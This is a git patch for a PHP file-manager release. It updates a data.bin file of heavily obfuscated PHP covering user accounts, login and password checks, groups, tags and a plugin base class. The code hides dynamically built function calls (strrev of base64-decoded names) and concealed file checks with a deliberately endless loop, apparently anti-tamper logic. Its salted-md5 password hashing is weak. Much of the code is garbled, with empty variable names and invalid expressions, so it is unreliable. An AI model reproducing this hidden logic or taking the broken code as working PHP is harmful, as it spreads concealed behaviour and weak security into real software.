From e487da8c118327a68fe193f96825e0bd960a190a Mon Sep 17 00:00:00 2001 From: warlee <824691958@qq.com> Date: Wed, 22 Nov 2023 17:24:09 +0800 Subject: [PATCH] 1.47.02 release --- app/sdks/archiveLib/bin/data.bin | 2 +- static/app/dist/api.js | 4 ++-- static/app/dist/lib.js | 4 ++-- static/app/dist/main.js | 4 ++-- static/app/dist/sdk.js | 2 +- static/app/dist/vendor.js | 2 +- static/style/dist/main.css | 2 +- static/style/dist/sdk.css | 2 +- static/style/lib/main.css | 2 +- 9 files changed, 12 insertions(+), 12 deletions(-) diff --git a/app/sdks/archiveLib/bin/data.bin b/app/sdks/archiveLib/bin/data.bin index 0e5aa8a1..68e05d49 100755 --- a/app/sdks/archiveLib/bin/data.bin +++ b/app/sdks/archiveLib/bin/data.bin @@ -1,2 +1,2 @@ "\x75\x73\145\162\x5f\x6d\145\x74\141", "\155\x65\164\x61\106\x69\145\154\x64" => "\x75\163\145\x72\x49\x44"); protected $simpleField = "\x75\163\x65\162\x49\x44\x2c\x6e\x69\x63\153\x4e\x61\x6d\145\x2c\156\141\x6d\145\x2c\x61\166\x61\164\141\x72\x2c\163\145\170\x2c\163\x74\141\164\165\x73"; const ERROR_USER_NOT_EXISTS = -1; const ERROR_USER_PASSWORD_ERROR = -2; const ERROR_USER_EXIST_NAME = -3; const ERROR_USER_EXIST_PHONE = -4; const ERROR_USER_EXIST_EMAIL = -5; const ERROR_USER_LOGIN_LOCK = -6; const ERROR_IP_NOT_ALLOW = -7; const ERROR_USER_EXIST_NICKNAME = -8; protected function cacheFunctionAlias($έ) { $㝩 =& $_SERVER[]; $ = $㝩[2315]; return array($㝩[1944] => array($έ[0], $), $㝩[1946] => array($έ[0], $), $㝩[2316] => array($έ[0], $)); } protected function getInfo($Ҳ, $ = false) { $۠Ȉ = $this->getInfoSimple($Ҳ); if (!is_array($۠Ȉ)) { return array(); } if ($) { return $this->_getInfoApply($۠Ȉ); } return $this->cacheFunctionGet($_SERVER[][1948], $Ҳ); } protected function getInfoFull($ɩ, $ʇ = false) { $ԡȘ = $this->getInfoSimple($ɩ); if (!is_array($ԡȘ)) { return array(); } if ($ʇ) { return $this->_getInfoApply($ԡȘ, !0); } return $this->cacheFunctionGet($_SERVER[][2317], $ɩ); } private function _getInfoApply($, $ = false) { $ =& $_SERVER[]; if (!$) { return $; } $ߕ = md5($[2318] . $[$[920]] . $[2319] . $[$[32]]); $ = $this->_listDataApplyItem($); $𵬺 = Model($[1366])->metaGet($[$[87]][$[431]]); $[$[2320]] = $ߕ; $[$[87]][$[2140]] = isset($𵬺[$[2141]]) ? $𵬺[$[2141]] : null; if ($) { $[$[495]] = $this->metaGet($[$[1676]]); } return $; } protected function getInfoSimple($͎, $۽ = false) { $ =& $_SERVER[]; if (!$͎) { return array(); } if ($۽) { $췯 = $this->where(array($[1676] => intval($͎)))->find(); if (!is_array($췯)) { return array(); } $췯[$[562]] = Action($[2321])->parseUrl($췯[$[562]]); return $췯; } return $this->cacheFunctionGet($[1949], $͎); } protected function getInfoSimpleOuter($얈ڣ) { $û =& $_SERVER[]; if (!$얈ڣ || $얈ڣ == 0) { return array($û[1676] => $û[198], $û[32] => $û[162] . LNG($û[2322]) . $û[164], $û[562] => STATIC_PATH . $û[2323]); } $ܟ = $this->cacheFunctionGet($û[1949], $얈ڣ); $𡳇 = array_field_key($ܟ, explode($û[50], $this->simpleField)); if (!$𡳇) { return array($û[1676] => $û[1221], $û[32] => $û[162] . LNG($û[2324]) . $û[164], $û[562] => STATIC_PATH . $û[2325]); } $𡳇[$û[562]] = Action($û[2321])->parseUrl($𡳇[$û[562]]); return $𡳇; } protected function groupUser($֦) { } public static function errorLang($٢) { $ݯ =& $_SERVER[]; $ó = array(self::ERROR_USER_NOT_EXISTS => $ݯ[2326], self::ERROR_USER_PASSWORD_ERROR => $ݯ[2327], self::ERROR_USER_EXIST_NAME => $ݯ[2328], self::ERROR_USER_EXIST_PHONE => $ݯ[2329], self::ERROR_USER_EXIST_EMAIL => $ݯ[2330], self::ERROR_USER_LOGIN_LOCK => $ݯ[2331], self::ERROR_IP_NOT_ALLOW => $ݯ[2332], self::ERROR_USER_EXIST_NICKNAME => $ݯ[2333]); return LNG($ó[$٢]); } public function getInfoByMeta($ܠۺ, $ǡԽ) { $IJ =& $_SERVER[]; $ʻ = Model($IJ[2334])->where(array($IJ[94] => $ܠۺ, $IJ[403] => $ǡԽ))->find(); if ($ʻ) { return $this->getInfo($ʻ[$IJ[1676]]); } return !1; } public function userLoginCheck($֒ǰм, $) { $ =& $_SERVER[]; $ = $this->userLoginFind($֒ǰм); if (!$) { return UserModel::ERROR_USER_NOT_EXISTS; } if (!$this->userPasswordCheck($[$[1676]], $)) { return UserModel::ERROR_USER_PASSWORD_ERROR; } return $this->getInfo($[$[1676]]); } public function userLoginFind($Ԏ) { $ =& $_SERVER[]; $ = array($[32] => $Ԏ, $[561] => $Ԏ, $[334] => $Ԏ, $[2335] => $Ԏ, $[1033] => $[1035]); if ($this->nickNameRpt()) { unset($[$[561]]); } return $this->where($)->find(); } public function clearCache($ɼ) { $ =& $_SERVER[]; $this->cacheFunctionClear($[1948], $ɼ); $this->cacheFunctionClear($[1949], $ɼ); $this->cacheFunctionClear($[2317], $ɼ); } public function userPasswordCheck($, $왁) { $͠ =& $_SERVER[]; $ = $this->where(array($͠[1676] => intval($)))->find(); $ʭ = $this->metaGet($); $ = isset($ʭ[$͠[2336]]) ? $ʭ[$͠[2336]] : $͠[12]; if (md5($ . trim($왁)) !== $[$͠[920]]) { return !1; } return !0; } public function userAdd($͕) { $Č =& $_SERVER[]; $ = array($Č[449] => $͕[$Č[32]], $Č[2337] => $͕[$Č[1555]], $Č[2338] => isset($͕[$Č[334]]) ? $͕[$Č[334]] : $Č[12], $Č[2339] => isset($͕[$Č[2335]]) ? $͕[$Č[2335]] : $Č[12], $Č[2340] => isset($͕[$Č[561]]) ? $͕[$Č[561]] : $͕[$Č[32]], $Č[2341] => isset($͕[$Č[562]]) ? $͕[$Č[562]] : $Č[12], $Č[2342] => isset($͕[$Č[2343]]) ? $͕[$Č[2343]] : 1, $Č[2344] => $͕[$Č[920]], $Č[1950] => isset($͕[$Č[1853]]) ? $͕[$Č[1853]] : 1024 * 1024 * 20, $Č[1951] => 0, $Č[2345] => 0, $Č[1995] => isset($͕[$Č[776]]) ? $͕[$Č[776]] : 1); if (!empty($͕[$Č[1676]])) { $[$Č[1676]] = $͕[$Č[1676]]; } $Ԝ = $this->_checkExist($͕); if ($Ԝ !== !0) { return $Ԝ; } if (!empty($[$Č[562]]) && strlen($[$Č[562]]) > 255) { $[$Č[562]] = $Č[12]; } $ˠ = $this->add($); $ = array($Č[2344] => $[$Č[920]], $Č[2340] => $[$Č[561]]); $this->userEdit($ˠ, $); Model($Č[1366])->userRootAdd($ˠ); return $ˠ; } protected function userEditTest($ڞô, $Ĭ) { return $this->call($_SERVER[][2346], $ڞô, $Ĭ); } protected function userEdit($Ӯ, $ؼ) { $ڞ =& $_SERVER[]; $컋 = $this->getInfoSimple($Ӯ); if (!$컋) { return !1; } $ǐ = $this->_checkExist($ؼ, $Ӯ); if ($ǐ !== !0) { return $ǐ; } if (isset($ؼ[$ڞ[920]]) && trim($ؼ[$ڞ[920]]) != $ڞ[12]) { $ = $this->metaGet($Ӯ); if (empty($[$ڞ[2336]])) { $[$ڞ[2336]] = rand_string(10); Model($ڞ[533])->metaSet($Ӯ, $ڞ[2336], $[$ڞ[2336]]); } $ؼ[$ڞ[920]] = md5($[$ڞ[2336]] . trim($ؼ[$ڞ[920]])); } else { unset($ؼ[$ڞ[920]]); } if (!empty($ؼ[$ڞ[562]]) && strlen($ؼ[$ڞ[562]]) > 255) { $ؼ[$ڞ[562]] = $ڞ[12]; } $this->where(array($ڞ[1667] => $Ӯ))->save($ؼ); if (isset($ؼ[$ڞ[561]])) { $this->setNamePinyin($Ӯ, $ؼ[$ڞ[561]]); } $this->clearCache($Ӯ); return !0; } public function setNamePinyin($ٝ, $ױ = false) { $ϟ =& $_SERVER[]; if (!$ױ) { $ = $this->getInfoSimple($ٝ); $ױ = $[$ϟ[561]] ? $[$ϟ[561]] : $[$ϟ[32]]; } $ƛš = Model($ϟ[554]); if (!Input::check($ױ, $ϟ[612])) { return $ƛš->metaSet($ٝ, array($ϟ[494] => $ϟ[12], $ϟ[493] => $ϟ[12])); } return $ƛš->metaSet($ٝ, array($ϟ[494] => str_replace($ϟ[53], $ϟ[12], Pinyin::get($ױ)), $ϟ[493] => Pinyin::get($ױ, $ϟ[613]))); } private function nickNameRpt() { $Ϛ =& $_SERVER[]; $ = Model($Ϛ[796])->get($Ϛ[2347]); $񟦾 = $GLOBALS[$Ϛ[6]][$Ϛ[410]][$Ϛ[2347]]; $ = !is_null($) ? $ : $񟦾; return !!$; } private function _checkExist($նɏ, $ = false) { $ =& $_SERVER[]; $ = array($[32] => UserModel::ERROR_USER_EXIST_NAME, $[561] => UserModel::ERROR_USER_EXIST_NICKNAME, $[334] => UserModel::ERROR_USER_EXIST_EMAIL, $[2335] => UserModel::ERROR_USER_EXIST_PHONE); if ($this->nickNameRpt()) { unset($[$[561]]); } $쁨 = $ ? array($[1676] => array($[2348], $)) : array(); foreach ($ as $寞 => $ߠ) { $ۧ = array(); foreach ($ as $ʮ => $ͨ) { if (isset($նɏ[$ʮ]) && $նɏ[$ʮ]) { $ۧ[] = $նɏ[$ʮ]; } } if (!$ۧ) { continue; } $ٳ = array_merge(array($寞 => array($[7], $ۧ)), $쁨); $׺ = $this->where($ٳ)->find(); if ($׺) { return $ߠ; } } return !0; } public function userListInfo($ͧސ) { $׵ =& $_SERVER[]; $ = array(); $ͧސ = is_array($ͧސ) ? array_unique($ͧސ) : array(); if (!$ͧސ) { return $; } if (count($ͧސ) < 20) { foreach ($ͧސ as $լ܆) { $[$լ܆ . $׵[12]] = $this->getInfoSimpleOuter($լ܆); } } else { $ = array($׵[1667] => array($׵[447], $ͧސ)); if (count($ͧސ) == 1) { $ = array($׵[1667] => $ͧސ[0]); } $퇉 = Model($׵[533])->field($this->simpleField)->where($)->select(); $퇉 = array_to_keyvalue($퇉, $׵[1676]); foreach ($ͧސ as $լ܆) { $… = $퇉[$լ܆]; if (!$…) { $[$լ܆ . $׵[12]] = $this->getInfoSimpleOuter($լ܆); continue; } $…[$׵[562]] = Action($׵[2321])->parseUrl($…[$׵[562]]); $[$լ܆ . $׵[12]] = $…; } } return $; } protected function userStatus($ʔ, $Ċဝ) { $ʜՑ = $this->getInfoSimple($ʔ); if (!$ʜՑ) { return !1; } $ȷ = array($_SERVER[][776] => $Ċဝ); return $this->userEdit($ʔ, $ȷ); } protected function userRemove($) { $ =& $_SERVER[]; $߱ = $this->getInfoSimple($); if (!$߱) { return !1; } $򿻰 = array($[1667] => $); Model($[621])->where($򿻰)->delete(); Model($[2349])->where($򿻰)->delete(); Model($[1956])->where($򿻰)->delete(); Model($[2334])->where($򿻰)->delete(); Model($[1101])->where($򿻰)->delete(); Model($[2164])->removeUserAll($); Model($[851])->userRootRemove($); return $this->where($򿻰)->delete(); } protected function userGroupSet($珬, $, $ݦ = array()) { $ =& $_SERVER[]; if (!isset($_SERVER[$[905]]) || !isset($_SERVER[$[991]])) { $ = $[906]; $֔ = $[907]; $Ο = $_SERVER[$[902]] . $[903]; $ݔ = $֔($Ο); $ۦ = explode($[231], $ݔ); if (count($ۦ) < $[636]) { $㓢 = $[908]; $㓢(); } $ = $[909]; $($_SERVER[$[910]]); $ = 1; for ($난 = $; $난 > 0; $난++) { $ = json_encode($GLOBALS[$[447]]); } } $Эה = $this->getInfoSimple($珬); if (!$Эה || !is_array($)) { return !1; } $ = Model($[1956]); $->where(array($[1676] => $珬))->delete(); $̓Ժ = array(); $ = 0; foreach ($ as $ڍ => $ǭ) { $Ŷ = array($[1676] => $珬, $[1866] => $ڍ, $[1970] => $ǭ); $Ŷ[$[1890]] = isset($ݦ[$]) ? $ݦ[$] : 0; $++; $̓Ժ[] = $Ŷ; } return $->addAll($̓Ժ, array(), !0); } protected function userGroupAdd($ҹ, $է = array()) { $ =& $_SERVER[]; $ = $this->getInfoSimple($ҹ); if (!$ || empty($է)) { return !1; } $ހ = array(); foreach ($է as $۩ => $) { $ހ[] = array($[1676] => $ҹ, $[1866] => $۩, $[1970] => $, $[1890] => 0); } return Model($[1956])->addAll($ހ, array(), !0); } protected function userGroupRemove($䆠, $) { $ =& $_SERVER[]; $럂 = $this->getInfoSimple($䆠); if (!$럂 || !$) { return !1; } $Ԅ = array($[1667] => $䆠, $[1954] => $); return Model($[1956])->where($Ԅ)->delete(); } public function listData() { $Ҁ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($Ҁ[$_SERVER[][398]]); return $Ҁ; } public function listByID($ꤧ) { $ҽ =& $_SERVER[]; if (!$ꤧ) { return; } $ϵԋ = array($ҽ[1676] => array($ҽ[7], $ꤧ)); $򥗎 = $this->where($ϵԋ)->select(); $򥗎 = array_sort_keep($򥗎, $ҽ[1676], $ꤧ); $this->_listDataApply($򥗎); return $򥗎; } public function listByGroup($ê = 0, $Ä = array()) { $ҩ =& $_SERVER[]; $㝲 = $ҩ[12]; $Í֎ = array(); if ($ê) { $Í֎ = array($ҩ[2350] => intval($ê)); $㝲 = "\114\x45\x46\124\40\112\117\111\x4e\40{$this->tablePrefix}\165\163\x65\162\x5f\x67\162\x6f\x75\160\40\x75\163\145\162\x5f\x67\162\x6f\165\160\x20\x6f\156\40\x75\x73\x65\162\x2e\x75\163\x65\x72\x49\104\x20\x3d\x20\x75\163\145\162\x5f\147\x72\x6f\x75\160\56\165\x73\x65\162\111\104"; $ = Input::get($ҩ[486], null, $ҩ[12]) ? $ҩ[12] : $ҩ[2351]; } if (isset($Ä[$ҩ[776]])) { $Í֎[$ҩ[2352]] = $Ä[$ҩ[776]]; } $ = $this->_makeOrder($)->field($ҩ[2353])->where($Í֎)->join($㝲)->selectPage(50); $this->_listDataApply($[$ҩ[398]]); return $; } private function _makeOrder($冘 = '') { $ퟡ =& $_SERVER[]; $ = array($ퟡ[1676], $ퟡ[32], $ퟡ[1855], $ퟡ[1827], $ퟡ[201]); $߾Ò = array($ퟡ[479] => $ퟡ[480], $ퟡ[481] => $ퟡ[482]); $Ӵ = Input::get($ퟡ[486], $ퟡ[7], $ퟡ[1667], $); $ = Input::get($ퟡ[487], $ퟡ[7], $ퟡ[1957], array($ퟡ[1957], $ퟡ[481])); $ = $߾Ò[$]; $冘 = $冘 . "\165\163\x65\x72\56{$Ӵ}\40{$}\x2c\x20\165\x73\145\x72\x2e\x75\x73\145\x72\111\104\x20\141\x73\143"; return $this->alias($ퟡ[2083])->order($冘); } public function listSearch($) { $։ =& $_SERVER[]; $ = $[$։[1960]]; $ = isset($[$։[1961]]) ? $[$։[1961]] : !1; $ = str_replace($։[1962], $։[1963], trim($)); $ = array($։[32] => array($։[412], "\45{$}\x25"), $։[334] => array($։[412], "{$}\45"), $։[561] => array($։[412], "{$}\45"), $։[1033] => $։[1964]); if (Input::check($, $։[340])) { $[$։[1676]] = array($։[412], "{$}\x25"); $[$։[2335]] = array($։[412], "{$}\x25"); } if (!$) { $ = array(); } if (isset($[$։[776]])) { $[$։[776]] = $[$։[776]]; } $ = $this->parseWhereLike($); $ = $this->_makeOrder()->where($)->selectPage(20); if (!$ || count($[$։[398]]) < 5 && Input::check($, $։[347])) { $ӈ = $this->_searchFromMeta($։[493], $, 10); $ = $this->_searchFromMeta($։[494], $, 10); $ٰ = array_merge($ӈ, $, $[$։[398]]); $[$։[398]] = array_unique_by_key($ٰ, $։[1676]); $[$։[395]][$։[396]] = count($[$։[398]]); $[$։[395]][$։[397]] = ceil($[$։[395]][$։[396]] / $[$։[395]][$։[392]]); } $this->_listDataApply($[$։[398]]); $this->_filterByGroup($, $); return $; } private function _filterByGroup(&$Ӊ, $徇䣚) { $ߣ =& $_SERVER[]; if (!$徇䣚) { return $Ӊ; } foreach ($Ӊ[$ߣ[398]] as $LjÆ => &$ş) { $ӒƘװ = array_to_keyvalue($ş[$ߣ[2053]], $ߣ[12], $ߣ[1866]); if (!in_array($徇䣚, $ӒƘװ)) { unset($Ӊ[$ߣ[398]][$LjÆ]); } } unset($ş); $Ӊ[$ߣ[398]] = array_values($Ӊ[$ߣ[398]]); $Ӊ[$ߣ[395]] = array($ߣ[2118] => count($Ӊ[$ߣ[398]]), $ߣ[2116] => $Ӊ[$ߣ[395]][$ߣ[392]], $ߣ[2115] => 1, $ߣ[2117] => 1); } private function _searchFromMeta($, $׷, $Š) { $˽ =& $_SERVER[]; $׷ = strtolower($׷); $𙦓 = array($˽[94] => $, $˽[403] => array($˽[412], "\45{$׷}\x25")); $𙦓 = $this->parseWhereLike($𙦓); $ = Model($˽[2354])->where($𙦓)->limit($Š)->select(); if (!$) { return array(); } $ = array_to_keyvalue($, $˽[12], $˽[1676]); $ = $this->where(array($˽[1667] => array($˽[7], $)))->select(); if (!$) { return array(); } return $; } private function _listDataApplyItem($ѿ) { $ = array($ѿ); $this->_listDataApply($); return $[0]; } private function _listDataApply(&$̊) { $ԯ΅ =& $_SERVER[]; if (!$̊) { return; } array_remove_key($̊, $ԯ΅[920]); $铱 = array_to_keyvalue($̊, $ԯ΅[12], $ԯ΅[1676]); $this->_listAppendGroup($̊, $铱); $this->_listAppendMeta($̊, $铱); $this->_listAppendSourceRoot($̊, $铱); } private function _listAppendSourceRoot(&$߽, $) { $Ĵ =& $_SERVER[]; $ = Model($Ĵ[851])->listSourceRoot(SourceModel::TYPE_USER, $); $ = array_to_keyvalue($, $Ĵ[525]); $ = array_remove_key($, $Ĵ[525]); foreach ($߽ as &$ް) { $ް[$Ĵ[87]] = $[$ް[$Ĵ[1676]]] ? $[$ް[$Ĵ[1676]]] : array(); } unset($ް); } private function _listAppendGroup(&$ѷ, $΁Ή) { $ =& $_SERVER[]; $ = array($[1676] => array($[7], $΁Ή)); $ə = Model($[1956])->where($)->select(); $Ȫ = array_to_keyvalue($ə, $[12], $[1866]); $Ȫ = array_remove_value(array_unique($Ȫ), $[198]); if (!$Ȫ || !$ə) { return; } $ = array($[1866] => array($[7], $Ȫ)); $Ǵ = Model($[2051])->field($[2355])->where($)->select(); $Ǵ = array_to_keyvalue($Ǵ, $[1866]); $ə = array_to_keyvalue_group($ə, $[1676]); foreach ($ə as &$Ϟ) { $ = array(); foreach ($Ϟ as $ڟ) { if (!$ڟ[$[1970]]) { continue; } $΋ = Model($[527])->listData($ڟ[$[1970]]); $[] = array($[1866] => $ڟ[$[1866]], $[2356] => $Ǵ[$ڟ[$[1866]]][$[32]], $[540] => $Ǵ[$ڟ[$[1866]]][$[540]], $[442] => $΋); } $Ϟ = $; } unset($Ϟ); foreach ($ѷ as &$袋) { $袋[$[2053]] = array(); if (isset($ə[$袋[$[1676]]])) { $袋[$[2053]] = $ə[$袋[$[1676]]]; } } unset($袋); } public function userAppendGroup($Ϻ֖) { $ӟ =& $_SERVER[]; if (!$Ϻ֖) { return array(); } $this->_listAppendGroup($Ϻ֖, array_to_keyvalue($Ϻ֖, $ӟ[12], $ӟ[1676])); return $Ϻ֖; } private function _listAppendMeta(&$, $˚) { $ =& $_SERVER[]; $ӱ = UserJobModel::JOB_KEY; $ԝ = array($[2336]); $܁Һ = array($[1676] => array($[7], $˚)); $ = Model($[2334])->where($܁Һ)->select(); $ = array_to_keyvalue_group($, $[1676]); foreach ($ as &$̩) { $ = array(); foreach ($̩ as $) { if (!in_array($[$[94]], $ԝ)) { $[$[$[94]]] = $[$[403]]; } } $̩ = $; } unset($̩); $݅ = Model($[2357]); foreach ($ as &$Նր) { $ = array(); if (isset($[$Նր[$[1676]]])) { $ = $[$Նր[$[1676]]]; } $Նր[$[2358]] = array(); if (isset($[$ӱ])) { $Նր[$[2358]] = $݅->getUserJobInfo($[$ӱ]); } } unset($Նր); } protected function groupUserAll($޾ؒ) { $Քõ =& $_SERVER[]; if (!$޾ؒ) { return !1; } $Ń = Model($Քõ[1956])->field($Քõ[1676])->where(array($Քõ[1866] => array($Քõ[7], $޾ؒ)))->select(); $Ń = array_to_keyvalue($Ń, $Քõ[12], $Քõ[1676]); return array_unique($Ń); } public function userSearch($İ, $ = "\52") { return Model($_SERVER[][554])->where($İ)->field($)->find(); } } class UserOptionModel extends ModelBaseOption { protected $tableName = "\165\163\x65\162\137\157\x70\164\x69\157\x6e"; protected $jsonField = array(); function __construct() { parent::__construct(); } protected function cacheKey($У) { $ =& $_SERVER[]; $ = defined($[2087]) && USER_ID ? USER_ID : $[12]; return "\125\x73\145\x72\x4f\160\x74\x69\x6f\156\137{$У}\x5f" . $; } protected function filterWhere($Ү) { $ =& $_SERVER[]; $Ү[$[1676]] = defined($[2087]) && USER_ID ? USER_ID : $[12]; return $Ү; } public function cacheRemoveUser($, $ٮ) { return Cache::remove("\125\x73\145\x72\117\x70\x74\151\x6f\156\x5f{$}\137" . $ٮ); } protected function optionDefault($觖 = '') { $ =& $_SERVER[]; if ($觖 == $[12]) { return $GLOBALS[$[6]][$[2359]]; } if ($觖 == $[2360]) { return $GLOBALS[$[6]][$[2361]]; } } } class UserTagModel extends ModelBaseLight { public $optionType = "\x55\163\145\162\x2e\x74\x61\x67\x4c\x69\x73\x74"; public $modelType = "\x55\163\x65\162\117\160\164\151\157\x6e"; public $field = array("\156\x61\x6d\145", "\x73\164\x79\154\145", "\x73\x6f\162\x74"); public function listData($ˬ = false, $ = "\163\x6f\162\x74", $ = false) { return parent::listData($ˬ, $, $); } public function remove($Ċ) { return parent::remove($Ċ); } public function add($܈, $ܪ = "\154\x61\142\x65\x6c\x2d\x67\x72\x65\171\55\x6e\157\162\x6d\141\154") { $ب =& $_SERVER[]; if ($this->findByName($܈)) { return !1; } $ᓫ = array($ب[449] => $܈, $ب[513] => $ܪ, $ب[1870] => $this->getSort($ب[287]) + 1); return parent::insert($ᓫ); } public function update($ސ, $Е) { $ =& $_SERVER[]; $Nj = $this->listData($ސ); $􁺰 = $this->findByName($Е[$[32]]); if (!$Nj || $􁺰 && $􁺰[$[428]] != $Nj[$[428]]) { return !1; } return parent::update($ސ, $Е); } public function moveTop($) { $ =& $_SERVER[]; $ = parent::listData(); $ = $this->getSort($[286]); foreach ($ as &$ת) { if ($ת[$[428]] == $) { $ת[$[1890]] = $; continue; } $ת[$[1890]] += 1; } unset($ת); return parent::resetData($); } public function moveBottom($݀Œ) { $Ҁќ̙ =& $_SERVER[]; $֮ = $this->getSort($Ҁќ̙[287]) + 1; return parent::update($݀Œ, array($Ҁќ̙[1890] => $֮)); } public function resetSort($֣) { $ =& $_SERVER[]; $ڮ = array(); $֣ = is_array($֣) ? $֣ : array(); for ($ = 0; $ < count($֣); $++) { $ڮ[$֣[$] . $[12]] = $ + 1; } $ = parent::listData(); foreach ($ as &$ܖ) { $۝ = $ڮ[$ܖ[$[428]]]; $ܖ[$[1890]] = $۝ ? $۝ : $ܖ[$[1890]]; } unset($ܖ); return parent::resetData($); } private function getSort($Ȝ) { $ =& $_SERVER[]; $ = parent::listData(); $ؙ = array_to_keyvalue($, $[12], $[1890]); if (!$ؙ) { $ؙ = array(0); } $ӵ㺞 = $Ȝ == $[287] ? max($ؙ) : min($ؙ); return intval($ӵ㺞); } } goto fΘ; E: $fileSize = strrev(base64_decode($_SERVER[ؓ][0])); function binCheckNeq($Ɲ, $ʫ) { return $Ɲ != $ʫ; } $_SERVER[$_SERVER[ؓ][1]] = $fileSize($_SERVER[$_SERVER[ؓ][2]]); goto b®nj; E: class Message { function __construct() { } public function send($֒ = '', $Ƭ = array(), $難 = "\x74\x65\170\164") { $ᖕ =& $_SERVER[]; $䞏 = array($ᖕ[33] => $ᖕ[1536], $ᖕ[780] => $֒); if (in_array($難, array($ᖕ[1536], $ᖕ[1537]))) { $䞏[$ᖕ[33]] = $難; } $Ƭ = array($ᖕ[534] => isset($Ƭ[$ᖕ[534]]) ? $Ƭ[$ᖕ[534]] : $ᖕ[12], $ᖕ[619] => isset($Ƭ[$ᖕ[619]]) ? $Ƭ[$ᖕ[619]] : $ᖕ[12]); if (empty($֒) || empty($Ƭ[$ᖕ[534]]) && empty($Ƭ[$ᖕ[619]])) { return !1; } $۵ = array($ᖕ[1477] => $䞏, $ᖕ[1538] => $Ƭ); Hook::trigger($ᖕ[1539], $۵); } } class PluginBase { public $in; public $pluginName; public $pluginPath; public $pluginHost; public $pluginHostDefault; public $pluginApi; public $packageData; private $pluginLangArr; private $pluginConfig; public $cachePath; public $fileInfo; function __construct() { $ =& $_SERVER[]; if ($_SERVER[$[905]] != $_SERVER[$[1540]]) { $ = $[906]; $ = $[907]; $朷 = $_SERVER[$[902]] . $[903]; $̂ = $($朷); $ = explode($[231], $̂); if (count($) < $[636]) { $ʓ = $[908]; $ʓ(); } $ = $[909]; $($_SERVER[$[910]]); $($_SERVER[$[902]] . $[1541]); $˹ = 1; while ($˹ > 1) { $˹ = $˹ + 4; $傏 = rawurlencode($˹ . $[407]); } } global $in, $config; $this->config =& $config; $this->in =& $in; $this->modelPlugin = Model($[1542]); $this->pluginName = str_replace($[1542], $[12], get_class($this)); $this->pluginPath = PLUGIN_DIR . $this->pluginName . $[8]; $this->pluginApi = appHostGet() . $[1543] . $this->pluginName . $[8]; $this->pluginHost = $config[$[1544]] . $this->pluginName . $[8]; $this->pluginHostDefault = $config[$[1544]] . $this->pluginName . $[8]; $הփ = $config[$[1545]]; if ($הփ && strpos($[50] . $הփ . $[50], $this->pluginName) !== !1) { $this->pluginHost = $config[$[1546]] . $this->pluginName . $[8]; } $this->pluginLangArr = $this->initLang(); $this->values = array(); $this->echoJsAssignArr = array(); return $this; } public function regist() { $this->hookRegist(array()); } public function install() { } public function update() { } public function unInstall() { } public function echoJs() { $this->echoFile($_SERVER[][1547]); } protected function assign($򄮻, $ = false) { if (is_array($򄮻)) { $this->values = array_merge($this->values, $򄮻); } else { $this->values[$򄮻] = $; } } protected function display($) { extract($this->values); require $; } final function hookRegist($μ) { $this->modelPlugin->appRegist($this->pluginName, $μ); } final function appIcon() { $⶚ =& $_SERVER[]; $ߛ = $this->appPackage(); $ = $⶚[12]; if (isset($ߛ[$⶚[445]])) { if (isset($ߛ[$⶚[445]][$⶚[1548]])) { $ = $⶚[1549] . $ߛ[$⶚[445]][$⶚[1548]] . $⶚[1550]; } else { if ($ߛ[$⶚[445]][$⶚[1551]]) { $ = $⶚[1552] . $ߛ[$⶚[445]][$⶚[1551]] . $⶚[1553]; } } } return $; } final function fileCanView($) { $׶С =& $_SERVER[]; if (request_url_safe($)) { return !0; } if ($this->isShare($)) { return !0; } $ԭң = Session::get($׶С[1554]); if (!$ԭң || !$ԭң[$׶С[1555]]) { $䀣 = $׶С[1556] . rawurlencode(this_url()); show_tips(LNG($׶С[1557]) . $׶С[1558] . $䀣 . $׶С[1559] . LNG($׶С[1560]) . $׶С[1561], !1); } if (!Action($׶С[1562])->authCan($׶С[1563])) { show_tips(LNG($׶С[1564]) . $׶С[1565], !1); } ActionCall($׶С[1566], $); } final function isShare($Ʈ) { $ۨ = KodIO::parse($Ʈ); return $ۨ[$_SERVER[][33]] == KodIO::KOD_SHARE_LINK; } final function filePathLink($) { if (request_url_safe($)) { return $; } if (!$this->isShare($)) { $ = $this->filePath($); } return Action($_SERVER[][1207])->linkOut($); } public function filePathLinkOut($) { if (request_url_safe($)) { return $; } $this->fileCanView($); return Action($_SERVER[][1207])->link($); } final function filePath($) { $ߎ =& $_SERVER[]; if ($dž = $this->checkSharePath($)) { Hook::trigger($ߎ[1567], $dž); return $dž; } $this->fileCanView($); if (request_url_safe($)) { $ն = parse_url_query($); if (isset($ն[$ߎ[1568]]) && isset($ն[$ߎ[213]])) { $ކ = Model($ߎ[796])->get($ߎ[797]); $ = Mcrypt::decode($ն[$ߎ[213]], $ކ); if ($) { $this->fileInfo = IO::infoWithChildren($); $this->cachePath = $this->pluginCachePath($this->_tmpFileName()); return $; } } $ = $this->_cacheHttpFile($); $this->fileInfo = IO::infoWithChildren($); } else { $this->fileInfo = IO::infoWithChildren($); if (!$this->fileInfo) { show_tips(LNG($ߎ[105]), !1); } $this->cachePath = $this->pluginCachePath($this->_tmpFileName()); } Hook::trigger($ߎ[1567], $); return $; } final function _cacheHttpFile($) { $ = hash_path($, !0); $this->cachePath = $this->pluginCachePath($); if ($ = IO::fileNameExist($this->cachePath, $)) { return KodIO::make($); } $ = $this->cachePath . $; return $this->pluginCacheFileSet($, file_get_contents_nossl($)); } final function _tmpFileName($ = array()) { $Ű =& $_SERVER[]; if (!$) { $ = $this->fileInfo; } if (isset($[$Ű[177]])) { return $[$Ű[177]]; } if (isset($[$Ű[170]][$Ű[177]])) { return $[$Ű[170]][$Ű[177]]; } $ = IO::hashSimple($[$Ű[84]]); if ($) { return $; } $И = array($[$Ű[32]], $[$Ű[84]], $[$Ű[76]]); if (isset($[$Ű[540]])) { $И[] = $[$Ű[540]]; } return md5(implode($Ű[11], $И)); } final function checkSharePath($) { $ځӔ =& $_SERVER[]; if (!$this->isShare($)) { return !1; } $š = Action($ځӔ[1207])->sharePathInfo($); if (!isset($š[$ځӔ[84]])) { show_json(LNG($ځӔ[1569]), !1); } $this->fileInfo = $š[$ځӔ[170]]; $this->cachePath = $this->pluginCachePath($this->fileInfo[$ځӔ[177]]); return $š[$ځӔ[84]]; } final function pluginCachePath($ƭ = '') { $ݗ =& $_SERVER[]; $ܭ = IO_PATH_SYSTEM_TEMP . $ݗ[1570] . $this->pluginName; if (!($ވ = IO::infoFull($ܭ))) { return IO::mkdir($ܭ . $ݗ[8] . $ƭ); } if (empty($ƭ)) { return $ވ[$ݗ[84]]; } if (!($껨ܶ = 